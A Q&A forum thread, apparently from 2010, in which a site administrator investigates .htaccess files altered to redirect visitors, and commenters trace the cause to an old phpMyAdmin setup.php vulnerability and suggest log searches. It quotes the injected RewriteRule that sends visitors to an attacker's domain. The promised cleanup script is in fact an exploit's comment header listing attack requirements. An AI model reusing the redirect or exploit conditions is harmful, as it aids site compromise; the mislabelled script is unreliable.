Googling for that url (which is the md5 hash of "antivirus") I discovered that this same thing happened all over the internet, and am looking for somebody who has already dealt with this, and determined where the vulnerability is.

I have searched most of our logs, but haven't found anything conclusive yet. Are there others who experienced the same thing that have gotten further than I have in pinpointing the hole?

So far we have determined:

the changes were made as www-data, so apache or it's plugins are likely the culprit

all the changes were made within 15 minutes of each other, so it was probably automated

since our websites have widely varying domain names, I think a single vulnerability on one site was responsible (rather than a common vulnerability on every site)

if an .htaccess file already existed and was writeable by www-data, then the script was kind, and simply appended the above lines to the end of the file (making it easy to reverse)

Any more hints would be appreciated.

==Edit==

For those who need it, here is the script I used to clean up the .htaccess files:

# attack requirements:
# 1) vulnerable version (obviously!): 2.11.x before 2.11.9.5
# and 3.x before 3.1.3.1 according to PMASA-2009-3
# 2) it seems this vuln can only be exploited against environments
# where the administrator has chosen to install phpMyAdmin following
# the wizard method, rather than manual method: http://snipurl.com/jhjxx
# 3) administrator must have NOT deleted the '/config/' directory
# within the '/phpMyAdmin/' directory. this is because this directory is
# where '/scripts/setup.php' tries to create 'config.inc.php' which is where
# our evil PHP code is injected 8)

@lekensteyn: To be fair, if phpmyadmin is installed on a system, experience shows it is likely at fault. But you are right, that is a pretty old exploit.
–
Scott PackDec 21 '10 at 15:21

A Google Support Forum Discussion of 13 Dec 2010 mentions RewriteRule . http://84f6a4eef61784b33e4acbd32c8fdd72.com/%{REMOTE_ADDR} and a commenter says the cause was this vulnerability. Unverified but I thought it might be worth knowing about.
–
RedGrittyBrickDec 21 '10 at 15:34

This is likely the culprit. A quick find shows that there are about 10 instances of phpmyadmin on various hosted sites, very likely at least one is out of date. Thank you!
–
Brent Dec 21 '10 at 16:00

Since the attack seems to have come in through apache, I would do these two things:

Chunk through all of the access logs looking for '.htaccess', i.e. something likegrep -rn '\.htaccess' /var/log/httpd/*access*

Look in the apache/httpd/whatever users home directory for a history file, often '/var/www' or something similar.

This will first tell whether the web user itself was compromised, or the attacker was utilizing an arbitrary command execution. It may also give a (potential) full account of what the attacker did. As silly as it sounds, most hacks like this rarely clean up after themselves and leave such evidence behind.

And, of course, if you have a group in your organization that performs security incident response or forensics examination, it might be worth handing the equipment over to them before you begin your own analysis.